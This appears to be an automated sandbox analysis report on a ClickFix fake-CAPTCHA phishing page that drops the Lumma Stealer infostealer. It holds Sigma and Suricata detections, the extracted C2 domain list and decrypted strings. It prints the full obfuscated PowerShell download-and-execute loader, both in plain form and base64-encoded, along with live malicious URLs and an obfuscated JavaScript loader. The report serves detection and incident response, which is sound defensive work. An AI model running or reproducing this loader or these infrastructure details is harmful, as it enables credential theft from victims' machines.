(.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQB

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAE

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQB

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAE

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:51:15.008516+0100	2028371	3	Unknown Traffic	192.168.2.17	49818	188.114.97.3	443	TCP
2025-01-10T20:51:15.969240+0100	2028371	3	Unknown Traffic	192.168.2.17	49819	188.114.97.3	443	TCP
2025-01-10T20:51:17.275361+0100	2028371	3	Unknown Traffic	192.168.2.17	49820	188.114.97.3	443	TCP
2025-01-10T20:51:18.724845+0100	2028371	3	Unknown Traffic	192.168.2.17	49821	188.114.97.3	443	TCP
2025-01-10T20:51:20.895965+0100	2028371	3	Unknown Traffic	192.168.2.17	49822	188.114.97.3	443	TCP
2025-01-10T20:51:22.121436+0100	2028371	3	Unknown Traffic	192.168.2.17	49823	188.114.97.3	443	TCP
2025-01-10T20:51:23.122535+0100	2028371	3	Unknown Traffic	192.168.2.17	49824	188.114.97.3	443	TCP
2025-01-10T20:51:24.141759+0100	2028371	3	Unknown Traffic	192.168.2.17	49825	188.114.97.3	443	TCP
2025-01-10T20:51:25.311290+0100	2028371	3	Unknown Traffic	192.168.2.17	49826	185.161.251.21	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:51:15.478332+0100	2054653	1	A Network Trojan was detected	192.168.2.17	49818	188.114.97.3	443	TCP
2025-01-10T20:51:16.479410+0100	2054653	1	A Network Trojan was detected	192.168.2.17	49819	188.114.97.3	443	TCP
2025-01-10T20:51:24.472719+0100	2054653	1	A Network Trojan was detected	192.168.2.17	49825	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:51:15.478332+0100	2049836	1	A Network Trojan was detected	192.168.2.17	49818	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:51:16.479410+0100	2049812	1	A Network Trojan was detected	192.168.2.17	49819	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:51:18.206892+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.17	49820	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: truculengisau.biz	Avira URL Cloud: Label: malware
Source: grandiouseziu.biz	Avira URL Cloud: Label: malware
Source: https://cegu.shop/#	Avira URL Cloud: Label: malware
Source: spookycappy.biz	Avira URL Cloud: Label: malware
Source: https://klipgonuh.shop/int_clp_sha.txt	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323#?	Avira URL Cloud: Label: malware
Source: nuttyshopr.biz	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtL	Avira URL Cloud: Label: malware
Source: fraggielek.biz	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txt_	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323)3	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txt)	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323K	Avira URL Cloud: Label: malware
Source: marketlumpe.biz	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323TEM32	Avira URL Cloud: Label: malware

Found malware configuration

Source: 30.2.powershell.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["truculengisau.biz", "marketlumpe.biz", "nuttyshopr.biz", "grandiouseziu.biz", "fraggielek.biz", "beliefbidu.cyou", "littlenotii.biz", "punishzement.biz", "spookycappy.biz"], "Build id": "jMw1IE--SHELLS"}

Sample uses string decryption to hide its real strings

Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: truculengisau.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: spookycappy.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: punishzement.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nuttyshopr.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: marketlumpe.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: littlenotii.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grandiouseziu.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fraggielek.biz
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: beliefbidu.cyou
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: jMw1IE--SHELLS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00418B09 CryptUnprotectData,		30_2_00418B09
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00418B09 CryptUnprotectData,		30_2_00418B09

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Source: https://patiooutletmaipu.cl/tiendas/head/

HTTP Parser: Base64 decoded: function _0x4536(_0x50585d, _0x2ea8c4) { const _0x25d62c = _0x50bb(); return _0x4536 = function (_0x46f7c0, _0x1c61db) { _0x46f7c0 = _0x46f7c0 - (0x2 * -0x773 + -0xa + 0x1027); let _0x437382 = _0x25d62c[_0x46f7c0]; return _...

Source: https://patiooutletmaipu.cl/tiendas/head/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NDUzNihfMHg1MDU4NWQsIF8weDJlYThjNCkgewogICAgY29uc3QgXzB4MjVkNjJjID0gXzB4NTBiYigpOwogICAgcmV0dXJuIF8weDQ1MzYgPSBmdW5jdGlvbiAoXzB4NDZmN2MwLCBfMHgxYzYxZGIpIHsKICAgICAgICBfMHg0NmY3YzAgPSBfMHg0NmY3YzAgLSAoMHgyIC
Source: https://patiooutletmaipu.cl/tiendas/head/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NDUzNihfMHg1MDU4NWQsIF8weDJlYThjNCkgewogICAgY29uc3QgXzB4MjVkNjJjID0gXzB4NTBiYigpOwogICAgcmV0dXJuIF8weDQ1MzYgPSBmdW5jdGlvbiAoXzB4NDZmN2MwLCBfMHgxYzYxZGIpIHsKICAgICAgICBfMHg0NmY3YzAgPSBfMHg0NmY3YzAgLSAoMHgyIC
Source: https://patiooutletmaipu.cl/tiendas/head/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NDUzNihfMHg1MDU4NWQsIF8weDJlYThjNCkgewogICAgY29uc3QgXzB4MjVkNjJjID0gXzB4NTBiYigpOwogICAgcmV0dXJuIF8weDQ1MzYgPSBmdW5jdGlvbiAoXzB4NDZmN2MwLCBfMHgxYzYxZGIpIHsKICAgICAgICBfMHg0NmY3YzAgPSBfMHg0NmY3YzAgLSAoMHgyIC
Source: https://patiooutletmaipu.cl/tiendas/head/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NDUzNihfMHg1MDU4NWQsIF8weDJlYThjNCkgewogICAgY29uc3QgXzB4MjVkNjJjID0gXzB4NTBiYigpOwogICAgcmV0dXJuIF8weDQ1MzYgPSBmdW5jdGlvbiAoXzB4NDZmN2MwLCBfMHgxYzYxZGIpIHsKICAgICAgICBfMHg0NmY3YzAgPSBfMHg0NmY3YzAgLSAoMHgyIC

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.17:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.17:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.17:49826 version: TLS 1.2

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 0742DFDDh	20_2_0742DE98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 0742DFDDh	20_2_0742E19A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 0742DFDDh	20_2_0742DF7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 0742DFDDh	20_2_0742DE8D
